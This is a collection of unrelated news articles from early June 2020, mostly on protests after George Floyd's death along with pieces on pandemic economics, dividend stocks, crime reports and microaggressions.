Seaside - About a dozen people, some carrying signs that read Black Lives Matter," observed 8 minutes and 46 seconds of silence Thursday afternoon at the Turnaround in Seaside, Oregon, the Seaside Signal reported. One protester said she was going to show up everyday from now until the policy demands made by the 60 organizations associated with the Black Lives Matter movement are met.

Were going to be here every day from 12 to 2 for the duration until the leaders of that movement tell us this public action is no longer needed," said Judy, who didnt give her last name.

Ontario - Hundreds of people gathered for a Black Lives Matter protest at 6 p.m. Thursday at the Albertsons parking lot in Ontario, Oregon. The group marched to city hall for a vigil for Floyd, where the protesters listened to speeches from people, including protest organizer Charlie Gonzalez. According to the Malheur Enterprise, Ontario Mayor Riley Hill and city councilman Freddy Rodriguez appeared at the protest.

A crowd of people have gathered outside of Albertsons for the Black Lives Matter protest in Ontario from 6-8 p.m. Follow along with this thread for live updates. pic.twitter.com/NEksFMmx95  Malheur Enterprise (@MalheurNews) June 5, 2020

Astoria - More than a dozen people stood in front of the post office Thursday afternoon in Astoria, Oregon, according to The Astorian. Warrenton High School student Alejandra Lopez, 16, organized the protest.

Newberg - A Black Lives Matter protest took place Thursday night in Newberg, Oregon. The Newberg-Dundee Police Department tweeted, This was a very enjoyable and well organized event," at 6 p.m.

Current traffic delays in downtown Newberg due to peaceful march. May wish to avoid the downtown grid if youre in a vehicle.  Newberg-Dundee Police Department (@NewbergDundeePD) June 5, 2020

Eugene - Around 300 people gathered to protest police brutality Thursday night in Eugene. The group started at the federal courthouse in Eugene before marching to the Whiteaker neighborhood, The Register-Guard reported.

Crowd is headed towards the Whiteaker down East 8th. Posted by The Register-Guard on Thursday, June 4, 2020

Well folks, you know the deal by now. Im here for the @registerguard at the federal courthouse in Eugene where crowds are gathering for a 7th day of protesting for #BlackLivesMatter pic.twitter.com/mBUN6Kzf7p  Tatiana Parafiniuk-Talesnick (@TatianaSophiaPT) June 5, 2020

Portland - Protests continued throughout the city, at locations such as Revolution Hall, Pioneer Courthouse Square and a city-owned green space at Southeast Stark Street and 12th Avenue. Portland Trail Blazers star Damian Lillard marched with the crowd as they walked toward the Morrison Bridge.

Thousands in Portland walk down Naito Parkway towards Waterfront park united against police brutality.



Live updates: https://t.co/PicS3iPrnp



(video by @tedsickinger) pic.twitter.com/t3tzHYMKcd  The Oregonian (@Oregonian) June 5, 2020

- Madison Smalstig l msmalstig@oregonian.com l @madi_smals l

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This is the moment Tommy Robinson 'punches a man to the ground' at an Asian sex gang protest before telling police he 'acted in self-defence' after a man spat in his face and called him a 'racist p***k'.

The former English Defence League leader, 37, was detained after police received a report of an assault on a man at Hollywood Retail Park in Barrow-in-Furness, Cumbria, shortly after 8.30pm on Thursday.

He is also being questioned in custody on suspicion of a public order offence, alongside a 43-year-old man from the West Midlands, a 47-year-old man from North Wales and a 28-year-old man from the Bedfordshire area.

Footage shows Robinson appearing to punch the man, who falls to the ground, with a person filming heard saying: 'Oh my God'.

Tommy Robinson, pictured left, 37, was arrested for assault (two of the police officers, right) on Thursday evening but claimed he 'acted in self-defence' after a man spit in his face

The man is seen on the ground after appearing to be punched by Robinson, in the footage. Cumbria Police said 'officers are keen to hear from anyone who witnessed what happened'

The video does not show the moment the man is alleged to have spat in Robinson's face. After being punched, the man stands up while holding his bicycle.

Another clip shared on social media shows Robinson, whose real name is Stephen Yaxley-Lennon, filming himself and then police officers.

In the video recorded by Robinson and published on YouTube, police officers are seen pulling up to the house where he is filming an interview.

He says 'here we go again' before greeting officers at the door. Robinson tells officers that a man approached him and called him a 'racist p***k' and spat in his face.

He adds: 'At this point I acted in defence. I didn't know if he had a knife or anything so I made sure he ended up on his bum.'

He had earlier spoken at a rally at a retail park in Barrow-in-Furness which was being held in support of a 19-year-old woman who alleges she was drugged and raped by a grooming gang.

No-one has been charged after a year long police investigation concluded there was insufficient evidence.

The unnamed teenager is currently in custody awaiting a court hearing for an alleged breach of bail conditions after being charged with perverting the course of justice.

The former English Defence League leader was detained after police received a report of an assault on a man at Hollywood Retail Park in Barrow-in-Furness, Cumbria (pictured)

A police van pictured at the address. In the video recorded by Robinson and published on YouTube, police officers are seen pulling up to the house where he is filming an interview

Robinson, 37, claimed to be in the town filming a documentary about the allegations and addressed crowds that had gathered in a retail park.

In a statement issued on Friday, Cumbria Police said: 'Four men from outside the county were arrested last night following a report of an assault.

'Cumbria Police received a call reporting an assault on a man at Hollywood Retail Park, shortly after 8.30pm.

'Officers responded and arrested four men shortly afterwards in the Douglas Street area of Barrow.'

The force added: 'A 37-year-old man from the Bedfordshire area was arrested on suspicion of assault and a public order offence. All remain in police custody this morning.

'There were a number of people in the area at the time and officers are keen to hear from anyone who witnessed what happened or the moments immediately before or after.'

Robinson, pictured in January, has been arrested on suspicion of assault but told police he 'acted in self-defence' after a man spat in his face (file photo)

Cumbria Police previously stated that they had launched a year-long investigation into claims an organised gang had trafficked girls and young women across the north of England for sex.

Detective Chief Superintendent Dean Holden insisted in a video message last month that the joint-investigation with the National Crime Agency found no evidence of grooming gangs in Barrow.

An independent review team was called in to assess their handling of the investigation and safeguarding surrounding it.

The family of the woman at the centre of the abuse allegations condemned a previous visit to Barrow last week.

In a statement they said: 'We want to make it clear that this has nothing to do with us and we do not want him involved.

'We are a peaceful family, who condemns any form of racial hatred. We are appealing for calm from the good people of Barrow.

'Thank you again so much for all your support.'
Whether youre a retiree or a brand-new, long-term investor in the stock market, dividends matter. From the beginning of 1930 through 2019, the compound growth of reinvested dividends accounted for 42% of the total return of Standard & Poors 500-stock index, according to Hartford Funds. For those investors who do live on the income generated from their portfolios, a major shake-up among corporate payouts, which tend to increase steadily during the markets more placid times, means a major loss of income at a time when its hard to come by elsewhere. At last check, 10-year Treasuries yielded 0.64%. When the COVID-19 shutdown brought revenues in some industries to an abrupt halt, many firms had little choice but to retain money they otherwise would have paid out. So far this year, 53 firms in the S&P 500 have suspended or cut their dividends. The industries that have seen the most cuts are the ones directly affected by local stay-at-home orders. Hotel chains Marriott and Hilton, cruise line Carnival, retailers Nordstrom and Macys, automakers Ford and General Motors, and restaurant operator Darden are among firms that have cut or suspended dividends. Stocks in major airlines have suspended dividends as a stipulation of their $50 billion government aid package. Energy companies, such as Apache Corp. and Occidental Petroleum, have trimmed payouts amid plummeting oil prices and fuel demand. How low can they go? BofA Securities strategist Savita Subramanian expects a 10% drop in S&P 500 dividend payouts this year. Thats a more bullish outlook than some strategists forecast, and such a drop would be a far cry from the 23% trim in dividends during the 200809 financial crisis. Its reasonable for investors to expect a dividend yield of 1.8% to 1.9% on the S&P 500 this year, a slight decrease from the current yield of 2.0%.

Investors looking for safe and rising dividend payouts are likely to find them among technology and health care firms, as well as those that make essential consumer goods that people continue to buy amid the pandemic, says Tom Huber, manager of T. Rowe Price Dividend Growth fund, a member of the Kiplinger 25, the roster of our favorite no-load funds. Even in those promising sectors, you should look under the hood to assess the sustainability of a stocks payout. Companies with the safest dividends will have ample cash and little to no debt. Look for firms with a history of steady earnings growth that generate lots of free cash flow (cash profits left after spending to maintain and expand the business) and sport low payout ratios (dividends as a percentage of earnings). The average S&P 500 firm currently distributes 44% of earnings via dividendslower than the historical average of 57% (though what is considered in the range of normal varies by sector). A firms payout as a proportion of free cash flow indicates whether a dividend is covered. Distributing more than 50% to 70% of free cash flow in dividends should raise an eyebrow, Huber says. Of the following companies, some provide a modest yield but have prospects for dividend growth; others deliver high current income. All of their payouts look safe. Stocks are ordered from the lowest to highest yield; prices and other data are through May 15. Microsoft (symbol MSFT, price $183, yield 1.1%). The tech giant should continue to enjoy robust growth in its cloud-based business (including, among other things, its cloud platform Azure, subscription-based versions of Office and online gaming service Xbox Live), which analysts at investment firm CFRA estimate now accounts for more than half of the firms revenues. The firm has a spectacular balance sheet and free cash flow, says T. Rowe Prices Huber. Over the past five years, Microsoft has boosted its dividend by an average of 10.5% per year.

United Healthcare (UNH, $291, 1.5%) has hiked its payout by an average of 24% per year over the past decade, and it affirmed its payout in March. The insurer has taken a cautious approach to the coronavirus outbreak, boosting cash reserves from $14 billion at the end of 2019 to $24 billion at the end of March. Wall Street analysts expect the firm to increase earnings by nearly 8% in 2020. NextEra Energy (NEE, $232, 2.4%) is a conservative dividend payer among utilities providers in the S&P 500, which yield 3.6% on average. But the firms payout is reliable and grows reliably. NextEra has enjoyed steady demand from its regulated-utility customers amid the pandemic, and for this year execs havent modified earning expectationswhich, if realized, would see the firm boost profits by 6% to 8%. NextEra is also a leading developer and generator of renewable energy, which should boost earnings over the long term. NextEra recently reaffirmed its commitment to dividend growth, vowing 10% bumps per year through 2022. J.M. Smucker (SJM, $115, 3.1%). J.M. Smucker produces a portfolio of pantry staples, including Folgers and Cafe Bustelo coffee, and pet foods and treats, such as Meow Mix and Milk-Bone. Columbia Dividend Opportunity fund comanager Dave King views Smucker as a beneficiary of home quarantines, now that fewer of the undercaffeinated are venturing out to coffee shops. The firm expects a boost in both earnings and free cash flow for the quarter that ended in April due to higher product demand. The dividend represents 41% of the earnings expected by Wall Street analysts for the fiscal year that ends in April 2021. How to spot dividends at risk Many companies in hard-hit industries, such as travel, lodging, dining, energy and brick-and-mortar retail, have slashed or suspended their payouts. Real estate investment trusts (particularly those that lease space to restaurants and stores) and financial firms may come under pressure as well, says Will Hunter, of the investment firm Neuberger Berman.
Pratapgarh:

A BSF jawan, who was on leave, was allegedly hacked to death with a spade on Friday morning by two persons in Ibrahimpur village, said police.

Harish Chandra Patel and Ram Chandra have been detained for allegedly killing Panna Lal Saroj (31) while he was working at his field, police said. His body has been sent for postmortem, they added.
How many people does it take to move a statue?

Apparently, thousands. Maybe even tens of thousands.

The Frank Rizzo statue, a memorial to Philadelphias history of brutal policing cast in 2,000 pounds of bronze, no longer has a place of honor across from City Hall.

Good riddance.

After three years of fits and starts, of hemming and hawing, Mayor Jim Kenney had the statue removed in early morning darkness on Wednesday, four days after protestors swarming over the statue in an attempt to topple it became one of the defining images of extraordinary protests against the killing of George Floyd that began Saturday here and across the nation  and that still continue.

In one way, Kenneys removal of the statue in the darkness of dawn was disturbing, but also offers a somewhat fitting idea of it slinking out of sight in shame. It was standing too long.

Three years ago, after violent protests in Charlottesville, Va., over the removal of a Confederate statue of Robert E. Lee led to calls to remove the Rizzo statue, Mayor Kenney made noises about removing it, soliciting opinions and input from the public, and providing an array of excuses for delays: That it would be physically complicated, too costly, that it would require Art Commission approval. The final plan was to remove it as part of an overhaul of Municipal Plaza a year or so from now.

 READ MORE: From Thursday: A sixth night of curfews

But in the end, it was yanked from its Municipal Plaza perch like an infected tooth.

Now that we see how easily it could have been done, its hard not to see its continued presence for the past three years as either serious blindness to the racial pain that defines this city, or worse, a provocation  a continual reminder that threat and force loom over too many of our citizens and discourages dissent. The fact that the statue was one of the first things cleaned up on Sunday morning following the protests was also an act of blindness or provocation. Neither option is palatable.

Former Mayor and Police Commissioner Frank Rizzo let nothing, including civil rights, get in the way of keeping law and order, and is a complicated icon of the citys blue-collar roots as well as racial oppression.

In some ways, his continued presence in the plaza was a testament to Philadelphias own history of police brutality and violence against African Americans. The departments ongoing lack of oversight, transparency, and accountability, its lack of commitment to reform have been manifested in both individual cases and department-wide scandals throughout the years. It also played out too often in the past few days, from the teargassing of crowds to the covering up of badge numbers by some police.

Throughout his administration, Mayor Kenney has championed Philadelphia as welcoming to immigrants and celebrated its diversity. Every day the Rizzo statue stood undercut that message.

Kenneys decision to not wait for the light of day to remove the statue meant a missed opportunity for a powerful message: That its time for more daylight into the affairs of law enforcement in this city, and that more civilians need to be part of charting the future course of policing.
John Michaels carries an American flag through a residential neighborhood in Hollywood this week. (Brian van der Brug / Los Angeles Times)

Recent protests galvanized many to take to the streets championing a cause, but for many others in this election year, activism will happen at home.

And activists for a variety of candidates and issues are urging people  whether they broke quarantine to hit the streets or still haven't left the house  that now is the time to act.

Sitting around watching the news all day and people dying and police harming African Americans and COVID-19 killing people, its heartbreaking. But if you get involved with other people, you can find a way to at least be a small drop in that bucket that makes a positive difference, said Gina Fields, chairperson of the Empowerment Congress West Area Neighborhood Development Council, representing the Baldwin Hills/Crenshaw area.

The best way to feel better about the world is to get out and help.

With partisan divides over issues such as immigration, healthcare and climate change, 2020 was already on track to be a very newsy election year. Then, like spotlights clicking on, the pandemic, economic devastation and demonstrations for racial justice showed leaders true colors during crisis.

This is really judgment time on our candidates, our elected officials in seeing how they respond to everything  to the health concerns, to the economic concerns, to the community concerns, said Randall Avila, executive director of the Republican Party of Orange County. This is affecting us 360 degrees in our lives. It's more important now than ever to get involved and to elect people that you trust.

Voters upset about how leaders have handled the national crises should channel their anger into action, Avila advised.

This is it, agreed Jon Katz, president of the Santa Monica Democratic Club. Either this country is going to be completely ruined or we can have a chance of saving it.

While many of the issues affecting the U.S. are national or even global in scale, most roads to change begin locally. The federal and state governments supply money and give guidance, but local officials carry out health orders, set police department budgets and coordinate the economy's on-the-ground reopening, for example.

Story continues

"Presidential elections are sexy," said Jane Wishon, political vice president for the Stonewall Democratic Club. "Everybody wants to talk about the presidential election. But the president doesnt pick up my trash."

How do I start?

If youre a first-time volunteer, dont be intimidated, Wishon said. Look up your representatives at the city, county, state and congressional levels and sign up for their newsletters. Determine what issues matter to you (Renters' rights? Schools?) and tell your representatives or chosen candidates about them in a phone call, email or online message.

It's the election of our lifetime, Wishon said. So much is at stake that we can't just sit back and say, Oh well, its a pandemic. I guess we just wont make calls.

Most political parties or candidates for elected office have a volunteer button or contact information on their websites. To get involved with a political party, search for their state or local chapter online. From there, you can sign up to volunteer, attend a meeting, donate or sign an online petition of support.

Of course, its also possible to exercise your civic muscle without picking a political party. In Los Angeles, anyone can attend meetings of the 99 neighborhood councils , which advise the City Council and inform residents on hyper-local issues. Depending where you live, the city council or county board of supervisors may be the best place to learn about decisions that affect you.

Mary Spadoni, who has lived in Costa Mesa more than half of her 75 years, religiously attends City Council meetings to opine about policy or act as a political watchdog and levy critiques against council members. She recommends tuning into the television or online stream of local council meetings and, at first, just observing how they are run. Then voice your opinion by calling in or writing a comment.

We all want to wave the flag and be part of the process, and I think that our local government is the ground floor of the process, Spadoni said. This is like the breeding grounds for tomorrows politicians and tomorrows future, locally. We're a democratic building block.

As nearly two weeks of protests have shown, in-the-world activism is alive and well despite the coronavirus pandemic. But for those choosing to remain home because of fear of catching or spreading the coronavirus, Audrena Redmond, one of the founders of the Black Lives Matter Long Beach chapter, said there is plenty of work to do  starting with yourself.

Get your hands on books, engage in webinars and follow reputable organizations on social media, she advised. Tune into a podcast or audiobook while you walk around your neighborhood. "Bored out of [her] mind at home," Redmond began carrying a notebook wherever she goes, to jot down questions or ideas to research later.

"Now is the time to spend a little time educating yourself," Redmond said.

"A lot of folks hesitate because they say, 'Well, I just dont know enough,' or 'I'm not sure.' Well, nows the time to get sure."

What will I do when I get involved?

Fields neighborhood council has organized a South Los Angeles-specific Black History Month celebration, a park clean-up, a City Council candidate forum and a fire safety day, among other events. When the pandemic struck, her team pivoted to distributing food to homebound seniors and collecting diapers for new parents. Now, they are coordinating safety patrols for a planned protest honoring George Floyd this weekend.

Getting involved from home can be easy. Once youre connected to a group or cause you care about, the options for activism are many.

You can start by picking up your phone and calling a family member, Redmond said. Engage in difficult conversations about current events.

You may choose to attend an in-person rally, but you wont be signing up people to vote at the canceled Orange County Fair or canvassing door-to-door for a candidate as in past years. Instead, you may be writing postcards or participating in social media campaigns. Some groups have held virtual rallies, bike and car parades, and teleconference community meetings.

Local chapters of political parties have also ramped up text- and phone-banking operations. Volunteers enjoy it, people can participate remotely from across the country, and more voters respond, Katz said.

Those remote calls, theyre king right now, Avila said, noting that the answer rate has increased at least 15% since the pandemic. People are at home. We have a little bit of a captive audience, if you will, and people are eager to interact with someone.

Virtual politicking will never replace door-knocking, but it may free up time to reach more voters. In past elections, Katz sometimes spent 10 hours a day braving Southern California traffic, collecting campaign materials, driving to neighborhoods and knocking on doors.

We were actually only canvassing for like two hours, and during that time, maybe half of the doors didnt open at all. It's like the whole day is completely spent. You get home, you just want to go to bed, Katz said. On the other hand, texting and calling from home, I could have been reaching voters the entire time.

One more thing

How you get involved is up to you, but there is one simple act a citizen can do: vote. In California, the deadline to register for the Nov. 3 election is Oct. 19.




CANBERRA, Australia - Thousands gathered in Canberra, Australias capital, on Friday to protest racial inequality in reaction to George Floyds death in the United States, while a court effectively banned a larger rally planned for Sydney because of the coronavirus threat.

The Canberra rally by about 2,000 people came ahead of larger rallies planned in Australias most populous cities on Saturday, with authorities concerned about maintaining social distancing.

Police on Friday successfully applied to the New South Wales state Supreme Court to declare that the Stop All Black Deaths in Custody rally planned for Sydney on Saturday was not an authorized public assembly.

The rally was expected to attract 5,000 people to the Sydney Town Hall. Police Commissioner Mick Fuller said the court ruling means all of the police powers available to us can be used to prevent the protest.

A state government and police also urged demonstrators not to attend a rally in Melbourne, Australias second largest city, because of the coronavirus risk.

In Canberra, Matilda House, an elder of the Ngambri-Ngunnawal family group who are the traditional owners of the Canberra region, said, Australians have to understand that whats been going on the United States has been happening here for a long time.

Australia needs to move beyond a colonial attitude that blacks are only here to be walked on, trodden on and murdered, House said in the first speech at the rally.

A demonstrator who interrupted House, arguing that the rallys focus should be on whats happening in the United States rather than Australias colonial history, was shouted down in a heated confrontation with several protesters. The demonstrator eventually followed the crowds advice to leave.

The crowd was majority white in a majority white city. Organizers handed out masks and hand sanitizer. Most protesters attempted to keep the recommended 1.5 metres (5 feet) of social distancing until the speeches began and people drew closer. Public gatherings are limited to 20 people in Canberra, but police did not intervene.

One of the protesters, Wendy Brookman, a teacher and member of the Butchulla indigenous people, said Australia should not accept more than 430 indigenous Australians dying in police custody or prison in the past three decades.

Were not here to jump on the bandwagon of whats happened in the United States, Brookman said. Were here to voice whats happening to our indigenous people.

One of the protesters signs read I cant breathe, a parallel between Floyds death in Minnesota on May 25 and the Australian indigenous experience.

They were among the last words of both Floyd and Aboriginal man David Dungay, who died in a prison hospital in 2015 while being restrained by five guards.

Dungays mother, Leetona Dungay, said she planned to march in Sydney on Saturday regardless of the Supreme Court ruling.

The correctional services officers and the doctors and nurses put my son under the ground, and Im going to walk on it for my march, she said, her voice rising to a yell. Just like George Floyd.

Were not going to stop. Were going to march. We dont care what any act of law tells us what to do. Coz those acts of laws are killing us, she added.

Nigerian-born Oluwatobi Odusote, 16, and her school friends Jan Usha, 17, and Rhyse Morgan, 16, held a red, black and yellow indigenous flag during the protest.

I thought that if America is taking a stand to save black lives, then we should help save the Aboriginal lives here in Australia, too, Odusote said.

Usha, who is of Nigerian and Asian background, described the rally as great because Australia rarely addresses racism through protest.

Morgan, who is of European heritage, said, if were all not equal, then no one benefits.

Indigenous Australians are 2% of the Australian adult population but 27% of the prison population.

Australias indigenous people are the most disadvantaged ethnic minority in Australia. They have higher-than-average rates of infant mortality and poor health, as well as shorter life expectancy and lower levels of education and employment than other Australians.
David Dorn, a 77-year-old retired police captain was shot and killed by a looter in St. Louis in front of the pawn store he had been providing security for.

Dorn was shot and killed at 2:30 A.M. on Tuesday while exercising law enforcement even after he was retired to provide for the security of the community.

With the Black Lives Matter, or the BLM movement stirring and people protesting for the justice and equality of African Americans and the exposure of police brutality, looters have taken advantage of this protest to behave violently by destroying businesses and injuring people.

St. Louis Police Chief John Hayden described the situation of the death of Dorn in a statement, "Throughout the night, we made 25 arrests for various charges. And then there were 55 businesses and counting that were burglarized and had property damage. One of those businesses had one of our retired captains, retired captain David Dorn, who retired after 38 years. During the looting process, David Dorn was exercising law enforcement that he learned here."

David Dorn's son, Brain Powell shared a message to whoever who killed his father, "The person who pulled the trigger, my message to them would just simply be, just step back from what you're doing. Know the real reason that you're protesting. Let's do it in a positive manner. We don't have to go out and loot and do all the other things."

Powell said he believed his father would have forgiven those behind the violence and tried to talk to them.

Dorn's love for humanity was also shared by a retired St. Louis City Police officer, David Ellison, when he shared that Dorn had helped him out of poverty and into a life as a police officer. He added, "Dave Dorn was a great man. He was fair -- the sharpest, cleanest guy."

President Trump also honored the death of Dorn on Twitter saying, "Our highest respect to the family of David Dorn, a Great Police Captain from St. Louis, who was viciously shot and killed by despicable looters last night. We honor our police officers, perhaps more than ever before. Thank you!"

A reward of up to $10,000 is being offered for any information that leads to the arrest of the person or persons responsible by the St. Louis Regional Crimestoppers.
The 350 Pandemic Unemployment Payment will become two-tiered from June 29, with people who were earning less than 200 per week before the outbreak of Covid-19 set to drop to 203 per week.

Social Protection Minister Regina Doherty today announced that the payment will continue until Phase 5 of the road map for reopening the economy on August 10, but it will be split from the beginning of Phase 3 in just over three weeks.
The diver who untangled a baby humpback whale from Gold Coast shark nets last month has donated more than $16,000 to marine conservation organisation Sea Shepherd.

The money was raised through a GoFundMe campaign and originally intended to pay fines the diver thought he would receive from authorities for breaching the exclusion zone around shark nets.

Django Hopkins (left) also received a bravery award on Friday, as he donated the GoFundMe money to Sea Shepherd.

However, the Department of Agriculture and Fisheries decided against issuing him with monetary fines, so whale rescuer Django Hopkins donated the money to the not-for-profit on Friday.

"[It was] massive relief [when I didn't receive any fines], its just an absolute waste of money, especially when theyre talking about $20,000 or $30,000," Mr Hopkins said.
With millions of migrant workers having returned home to the countryside in the midst of the lockdown imposed to slow the coronavirus disease (Covid-19) ,the Narendra Modi government is weighing multiple options --- from road construction to horticulture -- to find them work. Its also planning an initiative to upgrade their skills to suit the needs of a post-Covid-19 world.

The employment generation and skills upgrading programme, which includes district-wise mapping of the workers and identifying their skill sets, is being designed by the Prime Ministers Office with the help of the rural development, agriculture, animal husbandry, skill development and road transport ministries.

Construction work, officials said, hold the key to the targeted programme; an initial assessment shows that most of the migrant workers who returned to their home states after the lockdown took effect on March 25 were employed in the construction sector.

Millions of unskilled and semi-skilled workers and daily-wage earners have left cities and returned to the hinterland by trains and buses, and packed in trucks, in the past two months after losing their livelihoods because of the lockdown that shut many factories and commercial establishments. The workers mainly belong to Uttar Pradesh, Bihar, Jharkhand, Odisha and West Bengal.

To be sure, anecdotal evidence suggests that some workers are also starting to head back to the cities as the lockdown is gradually eased.

A senior official involved in planning the initiative said schemes such as the job guarantee programme, rural housing for the poor and village road construction will be used to provide immediate jobs to the returnees. Apart from these schemes, we are also looking at supporting them in horticulture, animal husbandry and road construction works, said the official, who didnt want to be named.

According to officials with direct knowledge of the plan, the programme will start in June and go on for at least for four months. The initiative will not entail any additional financial support from the exchequer, the officials explained. Existing centrally sponsored and central sector schemes will be used to address a situation they described as extraordinary.

Micro, small and medium enterprises (MSMEs) are one of the major employers in manufacturing, but are unlikely to be tapped for absorbing migrant workers as the sector itself is going through a difficult phase and forced to work on shoestring budgets and with minimum workers.

MSME units wouldnt be able to absorb tens and thousands of workers, said a second official.

Preparing the ground for the plan, the government machinery has already started mapping districts that have received 25,000 or more migrant workers, the officials said. Areas with a higher concentration of migrants would see an early roll-out of the plan.

Keeping in mind the fact that job supply may not match demand, the government is also preparing to unveil the skill development initiative to train workers who dont find immediate employment.

Under the Centres Skill India programme, the skill development ministry has launched a programme under which unskilled workers can take crash courses and be paid a stipend over its duration. Many MGNREGS workers have taken advantage of this scheme to be trained in construction in the past few months.

Although the Centre wants to see a large section of migrant workers engaged in road construction jobs, policymakers are also conscious of the fact that once the south-west monsoon gains momentum this month and arrives in northern India in July, the pace of the construction works will slow.

We have to design a multi-pronged approach to help our migrant workforce. And there would be many challenges, the second official cited above said.

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BAKU, Azerbaijan, June 5

By Jeila Aliyeva - Trend:

Turkmenistan has assessed ecological situation in capital Ashgabat, following a 'day without cars', Trend reports with reference to Turkmenistans State News Agency.

On June 3, due to applied restrictions, road traffic from 6 AM to 6 PM (GMT+5) was allowed only via bicycles, passenger buses, as well as ambulances.



The impact of the day without vehicles was assessed by the environmental supervision Service of Ministry of Agriculture and Environment Protection of Turkmenistan. Air at five selected spots around Ashghabat was examined, and companred to the samples taken the day before

As a result of the study, the researchers revealed that the amount of dust decreased by 20 percent, sulfur dioxide by 10 percent, nitrogen dioxide by 40 percent, and phenol by half.



The concern for the environment is an integral part of Turkmenistans socially-oriented policy. In connection with this concern for the country's environment, 'World Bicycle Day' was celebrated on June 3, established in 2018 by a resolution of The United Nations General Assembly on the initiative of President Gurbanguly Berdimuhamedov.



Environment care is very important for Turkmenistan, therefore the delegation of Turkmenistan participated in the 9th session of the meeting of the EUCentral Asia working group on environment and climate change that was held in Brussels in February, 2020. Upon the outcome of the working group's meeting, the Technical Assignment and the working procedures were approved, as well as the Programme of the EUCentral Asia working group on environment and climate change was adopted.

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Follow the author on Twitter: @JeilaAliyeva
OTTAWA - Canada's national unemployment rate was 13.7 per cent in May. Here are the jobless rates last month by province (numbers from the previous month in brackets):

Hey there, time traveller!

This article was published 5/6/2020 (595 days ago), so information in it may no longer be current.

OTTAWA - Canada's national unemployment rate was 13.7 per cent in May. Here are the jobless rates last month by province (numbers from the previous month in brackets):

 Newfoundland and Labrador 16.3 per cent (16.0)

 Prince Edward Island 13.9 per cent (10.8)

 Nova Scotia 13.6 per cent (12.0)

 New Brunswick 12.8 per cent (13.2)

 Quebec 13.7 per cent (17.0)

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 Ontario 13.6 per cent (11.3)

 Manitoba 11.2 per cent (11.4)

 Saskatchewan 12.5 per cent (11.3)

 Alberta 15.5 per cent (13.4)

 British Columbia 13.4 per cent (11.5)

This report by The Canadian Press was first published June 5, 2020 and was generated automatically.
Source: Xinhua| 2020-06-05 10:05:47|Editor: huaxia

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GENEVA, June 5 (Xinhua) -- The COVID-19 crisis has posed economic challenges and structural changes, all requiring multilateral and multi-stakeholder solutions, said Klaus Schwab, founder and executive chairman of the World Economic Forum.

"This was not just a cyclical crisis; it was a systemic crisis," said Schwab in a recent interview with Xinhua.

The lasting impacts of the pandemic on global economy, he said, involve short term consequences like job losses, and structural influence as well as series of new risks.

Schwab noted that main industrialized countries have adopted positive fiscal measures to assuage pressures of liquidities, while the currency devaluation has been seen in some developing countries in South America and Africa.

"We have to make all efforts to ensure that the gap of the advanced economies and the emerging economies is not becoming bigger as a consequence of the crisis," he said.

Small and medium-sized enterprises (SMEs) have been hit hardest by the pandemic, due to their high dependence on supply chains and less liquidities, compared with large companies, noted Schwab, adding that SMEs require "special care" during the economic recovery.

Some countries have worked to avoid short-term financial risks, which resulted in a higher debt burden that the next generation has to carry, he added, noting that those countries should speed up economic recovery and reduce the debt burden as fast as possible.

Indicating the silver lining of the coronavirus crisis in the digital economy, he said that "the coronavirus crisis will exercise pressures on companies to digitalize more, to robotize more, to use the internet of things even more."

People will pay more attention to health, while digital learning and lifelong learning are booming in the educational field, Schwab added.

In Schwab's view, the challenges posed by the "global virus" require the engagement of politicians, business community and particularly the young generation.

"All those risks can only be reduced if we strengthen global cooperation," he said.

"The world order in the post pandemic era has to be shaped by all countries. We need not only a multilateral approach, we need a multi-stakeholder approach -- what the Forum stands for," he concluded. Enditem
I magine someone telling a black British man he's "well-spoken" in a slightly surprised tone. Or asking where a British-Asian person comes from. Or talking over a woman in a work meeting.

These aren't necessarily things that are easy to call out as inappropriate. They're fleeting and maybe the person who did them didn't even mean it.

They're called microaggressions and as the name suggests, they're more subtle than overt racism, sexism, homophobia or other kinds of offensive behaviour.

Here we look at microaggressions, who coined the term, how to avoid them and their potential impact.

Microaggressions are caused by unconscious bias / Mimi Thian/Unsplash

What is a microaggression?

The Oxford English Dictionary describes a microaggression as "a statement, action, or incident regarded as an instance of indirect, subtle, or unintentional discrimination against members of a marginalised group such as a racial or ethnic minority."

Often these incidents are the result of unconscious bias - when one person has a pre-conceived idea about who people in another group are or how they should behave.

So a white person may be surprised when a black person doesn't speak with a certain accent, or wear certain clothes, and may voice that surprise.

The black person may feel that as a slight - as if the white person is telling them they don't belong.

Microaggressions can be harmful to people's health / Sivile Kaptyeyn/Unsplash

Who coined the term?

American psychiatrist Chester M. Pierce invented the word "microaggression" in the 1970s to describe insulting moments for black people.

The tern has since been developed further to include other groups which may be marginalised in other situations, including other BAME people and members of the LGBT community.

Not everyone agrees that it is an important psychological concept. A white psychiatrist named Kenneth R. Thomas said the term "characterizes people of color as weak and vulnerable, and reinforces a culture of victimization instead of a culture of opportunity."

Microaggressions was first coined to describe racist incidents, but has since expanded to describe other forms of offensive behaviour. / Eric Ward/Unsplash

How to avoid microaggressions

Because many of us have been brought up with the knowledge that racism, sexism and homophobia are wrong, it's socially accepted in the UK and many other countries that acts of overt racism are offensive.

But researchers argue that this means it can be harder to challenge microaggressions, because we are unwilling to face up to the fact that we are acting in subtly racist, sexist or homophobic ways.

Describing microaggressions on black people, psychologist Derald Wing Sue told the American Psychological Association: "It's a monumental task to get white people to realise that they are delivering microaggressions, because it's scary to them.

"It assails their self-image of being good, moral, decent human beings to realise that maybe at an unconscious level they have biased thoughts, attitudes and feelings that harm people of colour."

The best way to avoid committing microaggressions is to work at recognising your unconscious biases and try to unpick them, so that they are less likely to come up through your actions or in conversation.

If someone tells you that you have committed a microaggression, don't get defensive, psychiatrists say - accept that you have hurt them, apologise and think about how you can avoid doing it again in future.

Some people can get defensive when they are accused of committing microaggressions / Christian Erfurt/Unsplash

How microaggressions can affect people's health

Microaggressions may seem less offensive and dangerous that acts of overt racism, sexism or homophobia - but research suggests they can still be harmful for people's health.

A study done at a large US university found that BAME students who often experienced microaggressions based on their ethnicity could fall into depression, which could then lead to suicidal thoughts.

Another study among Native American people found correlations between microaggressions and heart attacks and depression.
A driver was ejected and killed after driving the wrong way and then crashing into a concrete divider on Interstate 10 near De Zavala Road, the San Antonio Police Department said.

According to SAPD, the driver of a white Mercedes-Benz SUV was traveling northbound in the southbound lanes of I-10 just after 3 a.m. Friday morning. The driver then crashed head-on into a concrete divider set up in a construction zone on the highway, causing the vehicle to flip over and erupt into flames, the police said.
The Brooklyn man suspected of stabbing a New York Police Department officer in the neck has been pictured as his family defends him and says he is 'absolutely not a terrorist'.

